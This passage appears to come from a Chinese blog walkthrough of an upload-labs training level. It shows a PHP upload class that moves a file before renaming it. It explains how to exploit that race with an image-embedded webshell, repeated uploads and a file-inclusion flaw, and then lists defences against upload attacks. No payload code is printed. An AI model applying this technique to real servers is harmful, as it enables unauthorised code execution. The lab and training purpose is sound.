    function isUploadedFile(){
        if( is_uploaded_file( $this->cls_tmp_filename ) != true ){
            return "IS_UPLOADED_FILE_FAILURE";
        } else {
            return 1;
        }
    }

    /** 
     * setDir()
     * 设置上传目录
     * 
     * @param String 目录名称
     * @returns string
     */
    function setDir( $dir ){
        if( !is_writable( $dir ) ){
            return "DIRECTORY_FAILURE";
        } else { 
            $this->cls_upload_dir = $dir.'/';
            return 1;
        }
    }

    /** 
     * checkExtension()
     * 检查是否接受文件扩展名
     * 
     * @returns string
     */
    function checkExtension(){
        // 检查扩展名是否有效
        if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
            return "EXTENSION_FAILURE";
        } else {
            return 1;
        }
    }

    /** 
     * checkSize()
     * 检查文件大小是否合适
     * 
     * @returns string
     */
    function checkSize(){
        if( $this->cls_filesize > $this->cls_max_filesize ){
            return "FILE_SIZE_FAILURE";
        } else {
            return 1;
        }
    }

    /** 
     * move()
     * 移动已上传的文件到目标目录
     * 
     * @returns string
     */
    function move(){
        if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
            return "MOVE_UPLOADED_FILE_FAILURE";
        } else {
            return 1;
        }
    }

    /** 
     * checkFileExists()
     * 检查目标目录中是否存在相同文件
     * 
     * @returns string
     */
    function checkFileExists(){
        if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
            return "FILE_EXISTS_FAILURE";
        } else {
            return 1;
        }
    }

    /** 
     * renameFile()
     * 重命名上传的文件
     * 
     * @returns string
     */
    function renameFile(){
        // 如果没有提供新的文件名,则使用随机名称
        if( $this->cls_file_rename_to == '' ){
            $allchar = "abcdefghijklnmopqrstuvwxyz" ; 
            $this->cls_file_rename_to = "" ; 
            mt_srand (( double) microtime() * 1000000 ); 
            for ( $i = 0; $i<8 ; $i++ ){
                $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ; 
            }
        }    
        // 删除扩展名并将其放回新文件名中
        $extension = strrchr( $this->cls_filename, "." );
        $this->cls_file_rename_to .= $extension;
        if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
            return "RENAME_FAILURE";
        } else {
            return 1;
        }
    }
    
    /** 
     * upload()
     * 执行上传过程的主要方法
     * 
     * @param String 上传目录名称
     * @returns void
     */
    function upload( $dir ){
        $ret = $this->isUploadedFile();
        if( $ret != 1 ){
            return $this->resultUpload( $ret );
        }

        $ret = $this->setDir( $dir );
        if( $ret != 1 ){
            return $this->resultUpload( $ret );
        }

        $ret = $this->checkExtension();
        if( $ret != 1 ){
            return $this->resultUpload( $ret );
        }

        $ret = $this->checkSize();
        if( $ret != 1 ){
            return $this->resultUpload( $ret );    
        }
        
        // 如果设置了检查文件是否存在的标志
        if( $this->cls_file_exists == 1 ){
            $ret = $this->checkFileExists();
            if( $ret != 1 ){
                return $this->resultUpload( $ret );    
            }
        }

        // 如果我们到达这里,我们准备将文件移动到目标
        $ret = $this->move();
        if( $ret != 1 ){
            return $this->resultUpload( $ret );    
        }

        // 检查是否需要重命名文件
        if( $this->cls_rename_file == 1 ){
            $ret = $this->renameFile();
            if( $ret != 1 ){
                return $this->resultUpload( $ret );    
            }
        }
        
        // 如果我们到这里,一切都按计划进行 :)
        return $this->resultUpload( "SUCCESS" );
    }

    /** 
     * resultUpload()
     * 返回上传状态的方法
     * 
     * @param String 上传状态
     * @returns mixed(int或string)
     */
    function resultUpload( $flag ){
        switch( $flag ){
            case "IS_UPLOADED_FILE_FAILURE" : 
                if( $this->cls_verbal == 0 ) return -1; 
                else return "The file could not be uploaded to the tmp directory of the web server.";
                break;
            case "DIRECTORY_FAILURE" :        
                if( $this->cls_verbal == 0 ) return -2; 
                else return "The file could not be uploaded, the directory is not writable.";
                break;
            case "EXTENSION_FAILURE" :        
                if( $this->cls_verbal == 0 ) return -3; 
                else return "The file could not be uploaded, this type of file is not accepted.";
                break;
            case "FILE_SIZE_FAILURE" :        
                if( $this->cls_verbal == 0 ) return -4; 
                else return "The file could not be uploaded, this file is too big.";
                break;
            case "FILE_EXISTS_FAILURE" :      
                if( $this->cls_verbal == 0 ) return -5; 
                else return "The file could not be uploaded, a file with the same name already exists.";
                break;
            case "MOVE_UPLOADED_FILE_FAILURE" : 
                if( $this->cls_verbal == 0 ) return -6; 
                else return "The file could not be uploaded, the file could not be copied to destination directory.";
                break;
            case "RENAME_FAILURE" :           
                if( $this->cls_verbal == 0 ) return 2; 
                else return "The file was uploaded but could not be renamed.";
                break;
            case "SUCCESS" :                  
                if( $this->cls_verbal == 0 ) return 1; 
                else return "Upload was successful!";
                break;
            default : 
                echo "OUPS!! We do not know what happen, you should fire the programmer ;)";
                break;
        }
    }

}; // end class

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。

上传之后我们进行抓包,之后和十七关一样,一边上传一边执行图片吗,当我们成功访问时就说明木马成功,如果失败了可能图片的问题,换图多试几次;我也是试了几个小时最后给劝退。这里借鉴一下。有成功的,原理就是如此。

总结

文件上传

  1. 漏洞成因: 具备上传文件功能的Web等应用,未对用户选择上传的文件进行校验,使得非法                     用户可通过上传可执行脚本而获取应用的控制权限。
  2. 防护与绕过: 通过upload-labs靶场实战,了解更多的防护与绕过手段。

防御

  1. 不要暴露上传文件的位置
  2. 禁用上传文件的执行权限
  3. 黑白名单
  4. 对上传的文件重命名,不易被猜测
  5. 对文件内容进行二次渲染
  6. 对上传的内容进行读取检查
  7. 不同系统有不同的需求,根据系统需求制定特定的防御手段。
  8. (WAF加上复合型防火墙,一键安装解君愁~)

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐